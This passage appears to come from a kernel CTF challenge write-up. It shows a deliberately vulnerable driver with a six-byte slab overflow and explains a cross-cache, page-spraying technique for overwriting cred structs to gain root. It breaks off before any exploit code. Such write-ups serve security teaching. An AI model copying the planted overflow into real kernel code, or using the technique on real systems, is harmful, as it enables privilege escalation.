</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">DEFINE_MUTEX</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(castaway_lock)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> **castaway_arr;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_ioctl</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> file *file, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">int</span> cmd, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">long</span> arg)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_add</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_edit</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int64_t</span> idx, <span class="hljs-type" style="color: #a31515;">uint64_t</span> size, <span class="hljs-type" style="color: #a31515;">char</span> *buf)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">miscdevice</span> <span class="hljs-title" style="color: #a31515;">castaway_dev</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">file_operations</span> <span class="hljs-title" style="color: #a31515;">castaway_fops</span> =</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {.unlocked_ioctl = castaway_ioctl};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">kmem_cache</span> *<span class="hljs-title" style="color: #a31515;">castaway_cachep</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_ioctl</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">struct</span> file *file, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">int</span> cmd, <span class="hljs-type" style="color: #a31515;">unsigned</span> <span class="hljs-type" style="color: #a31515;">long</span> arg)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">user_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> req;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (cmd != ALLOC && copy_from_user(&req, (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)arg, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req)))
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
mutex_lock(&castaway_lock);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">switch</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (cmd)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ALLOC:
ret = castaway_add();
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> EDIT:
ret = castaway_edit(req.idx, req.size, req.buf);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">default</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
ret = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
mutex_unlock(&castaway_lock);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_add</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (castaway_ctr >= MAX)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> failure_add;
}
idx = castaway_ctr++;
castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!castaway_arr[idx])
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> failure_add;
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> idx;
failure_add:
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"castaway chunk allocation failed\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_edit</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int64_t</span> idx, <span class="hljs-type" style="color: #a31515;">uint64_t</span> size, <span class="hljs-type" style="color: #a31515;">char</span> *buf)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> temp[CHUNK_SIZE];
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (idx < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> || idx >= MAX || !castaway_arr[idx])
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> edit_fail;
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (size > CHUNK_SIZE || copy_from_user(temp, buf, size))
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">goto</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> edit_fail;
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(castaway_arr[idx]->buf, temp, size);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size;
edit_fail:
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"castaway chunk editing failed\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">init_castaway_driver</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
castaway_dev.minor = MISC_DYNAMIC_MINOR;
castaway_dev.name = DEVICE_NAME;
castaway_dev.fops = &castaway_fops;
castaway_dev.mode = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0644</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
mutex_init(&castaway_lock);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (misc_register(&castaway_dev))
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
castaway_arr = kzalloc(MAX * </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">castaway_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *), GFP_KERNEL);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!castaway_arr)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!castaway_cachep)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"All alone in an castaway cache... \n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"There's no way a pwner can escape!\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">cleanup_castaway_driver</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">void</span>)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i;
misc_deregister(&castaway_dev);
mutex_destroy(&castaway_lock);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < MAX; i++)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (castaway_arr[i])
{
kfree(castaway_arr[i]);
}
}
kfree(castaway_arr);
printk(KERN_INFO </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"Guess you remain a castaway\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
module_init(init_castaway_driver);
module_exit(cleanup_castaway_driver);</span></span></span></p><p>There are only two ioctl commands. One for adding a chunk (all
objects in the driver are of size 512 bytes), and one for editing a
chunk, which has a clear 6 byte overflow. Only 400 allocations total are
given. As per last year, none of the bugs in our kernel challenges are
extremely difficult to find, as we wanted to focus on exploitation
difficulty. </p><p>Under normal circumstances, a 6 byte overflow in a kernel object
should be quite exploitable. However, the given object is allocated in
an isolated slab cache, created with the flags <code>SLAB_PANIC | SLAB_ACCOUNT</code>. Combined with the fact that I compiled with <code>CONFIG_MEMCG_KMEM</code> support, allocations from this cache will be in its own separate slab away from other generic kmalloc-512 allocations, as <a href="https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022">duasynt documents</a>. Else, the kernel can alias this cache with others sharing similar properties based on the <a href="https://elixir.bootlin.com/linux/latest/source/mm/slab_common.c#L186"><code>find_mergeable</code></a> function, (actually this would still not be a problem in this challenge because I disabled <code>CONFIG_SLAB_MERGE_DEFAULT</code>). </p><p>Not only is there freelist randomization and hardening, but the Linux
kernel has also moved freelist pointers to the middle. The driver’s
object also has neither pointers nor function pointers. How can one
exploit this six byte overflow? </p><p>The answer is cross cache overflows. I found resources on this
strategy quite scarce, and haven’t personally seen a CTF challenge that
requires it. This technique is increasingly common in real world
exploits as evidenced by <a href="https://etenal.me/archives/1825">CVE-2022-27666</a> or StarLabs kctf msg_msg exploit for CVE-2022-0185. Other articles that inspired this idea was grsecurity’s post on <a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">AUTOSLAB</a> and this post on <a href="https://xidoo.top/2021/08/slab_buddy_system0/">kmalloc internals</a>. Funny enough, there was also another CVE discussing cross cache the day right before our CTF began: <a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/">CVE-2022-29582</a>.</p><p>Those articles talk about this technique in greater detail, so I advise you to read them beforehand.</p><p>
</p><p>To summarize on my end, kmalloc slab allocations are backed by the
underlying buddy allocator. When there are either no
slabs or available chunks in requested kmalloc cache, the allocator requests an
order-n page from the buddy allocator - it calls <a href="https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L2022"><code>new_slab</code></a>, leading to <a href="https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L1948"><code>allocate_slab</code></a>. This triggers a page request from the buddy allocator with <code>alloc_page</code> in <a href="https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L1816"><code>alloc_slab_page</code></a>. </p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-meta"><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">/*
* Slab allocation and freeing
*/</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">static</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">inline</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">struct</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> slab *</span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">alloc_slab_page</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">gfp_t</span> flags, <span class="hljs-type" style="color: #a31515;">int</span> node,
<span class="hljs-keyword" style="color: blue;">struct</span> kmem_cache_order_objects oo)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">folio</span> *<span class="hljs-title" style="color: #a31515;">folio</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">slab</span> *<span class="hljs-title" style="color: #a31515;">slab</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> order = oo_order(oo);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (node == NUMA_NO_NODE)
folio = (</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">struct</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> folio *)alloc_pages(flags, order);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
folio = (</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">struct</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> folio *)__alloc_pages_node(node, flags, order);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!folio)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
slab = folio_slab(folio);
__folio_set_slab(folio);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (page_is_pfmemalloc(folio_page(folio, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)))
slab_set_pfmemalloc(slab);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> slab;
}</span></span></span></p><p>The buddy allocator maintains an array of FIFO queues for each
order-n page. An order-n page is just a chunk of size page multiplied by
2 to the power of n. When you free a chunk and it results in a
completely empty slab, the slab allocator can return the underlying
page(s) back to the buddy allocator. </p><p>The order for the underlying slab pages depends on a multitude of
factors, including size of slab chunks, system specifications, and
kernel builds - in practice, you can easily determine it by just looking
at /proc/slabinfo (pagesperslab field). For this challenge, the chunks
with isolated 512 byte objects require order-0 pages. </p><p>An important insight for cross cache overflows and page allocator
level massage is the behavior of buddy allocators when a requested
order’s queue is empty. In this case, the buddy allocator attempts to
find a page from order n+1 and splits it in half, bringing these buddy
pages into order n. If such a higher order buddy page does not exist, it
just looks at the next order and so forth. When a page returns to the
buddy allocator and its corresponding buddy page is also in the same
queue, they are merged and move into the next order’s queue (and the
same process can continue from there).</p><p>In many previous cross cache overflow exploits, the pattern is to
overflow from a slab without known abusable objects onto a slab with
abusable objects. It is also possible to abuse this cross cache principle for UAF bugs too. Most known exploits rely on target objects in pages
greater than order 0 due to the lesser amounts of noise there and
improved stability. However, this doesn’t make cross-cache overflows
onto order 0 pages impossible, especially if system noise is low. Order 0
would be a nice target because it would unlock even more abusable
objects in this system, like the famous 128 byte sized <code>cred</code> struct. For those unfamiliar with the <code>cred</code> <a href="https://elixir.bootlin.com/linux/v5.18.3/source/include/linux/cred.h#L110">object</a>, it basically determines process privileges within the first few qwords.</p><p>I recall that one of my earliest memories in kernel exploitation was
learning that rooting a system by overflowing a cred struct is
impossible because of its slab isolation in the <code>cred_jar</code> cache. Once I learned about cross-cache, I knew I just had to write a challenge to see if attacking cred structs are feasible.</p><p>The high level strategy of my exploit is the following: drain the <code>cred_jar</code>
so future allocations pull from the order 0 buddy allocator, drain many
higher order pages into order 0 sized pages, free some in a manner that
avoids buddy page merging, spray more <code>cred</code> objects, free more held pages, and finally spray allocations of the vulnerable object to overflow onto at least one <code>cred</code>
object (the vulnerable object page must be allocated right above a cred
slab). The nice thing about this approach is its elegance - KASLR
leaks, arbitrary read/write, and ROP chains are not needed! It is a
simple, leakless, and data-only approach!</p><p>To trigger <code>cred</code> object allocations, one just needs to <code>fork</code>. Though a standard <code>fork</code> does cause a lot of noise as other allocations do occur, this does not matter for the initial spray in my exploit.</p><p>
</p><p>As the driver has a limited amount of 512 byte allocations (only 400
total, so about 50 pages as there are 8 per slab) and has no freeing
option, a better page spraying primitive is required. The trick here
generally is to just look for functions that reference page allocator
functions, such as <code>__get_free_pages</code>, <code>alloc_page</code>, or <code>alloc_pages</code>. D3v17 mentioned a really nice one to me based upon a page allocating primitive from CVE-2017-7308 documented in this <a href="https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html">p0 writeup</a>. If you use <code>setsockopt</code> to set packet version to <code>TPACKET_V1</code>/<code>TPACKET_V2</code>, and then use the same syscall to initialize a <code>PACKET_TX_RING</code> (which creates a ring buffer used with <code>PACKET_MMAP</code> for improved transmission through userspace mapped buffers for packets), then you will hit this line in <a href="https://elixir.bootlin.com/linux/v5.18.3/source/net/packet/af_packet.c#L3777"><code>packet_setsockopt</code></a>. Note that the p0 writeup used <code>PACKET_RX_RING</code>, but <code>PACKET_TX_RING</code> gives us the same results for the purposes of page allocator control.</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> PACKET_RX_RING:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> PACKET_TX_RING:
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">union</span> <span class="hljs-title" style="color: #a31515;">tpacket_req_u</span> <span class="hljs-title" style="color: #a31515;">req_u</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> len;
lock_sock(sk);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">switch</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (po->tp_version) {
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> TPACKET_V1:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> TPACKET_V2:
len = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req_u.req);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">case</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> TPACKET_V3:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">default</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
len = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req_u.req3);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (optlen < len) {
ret = -EINVAL;
} </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (copy_from_sockptr(&req_u.req, optval, len))
ret = -EFAULT;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
ret = packet_set_ring(sk, &req_u, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
optname == PACKET_TX_RING);
}
release_sock(sk);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ret;
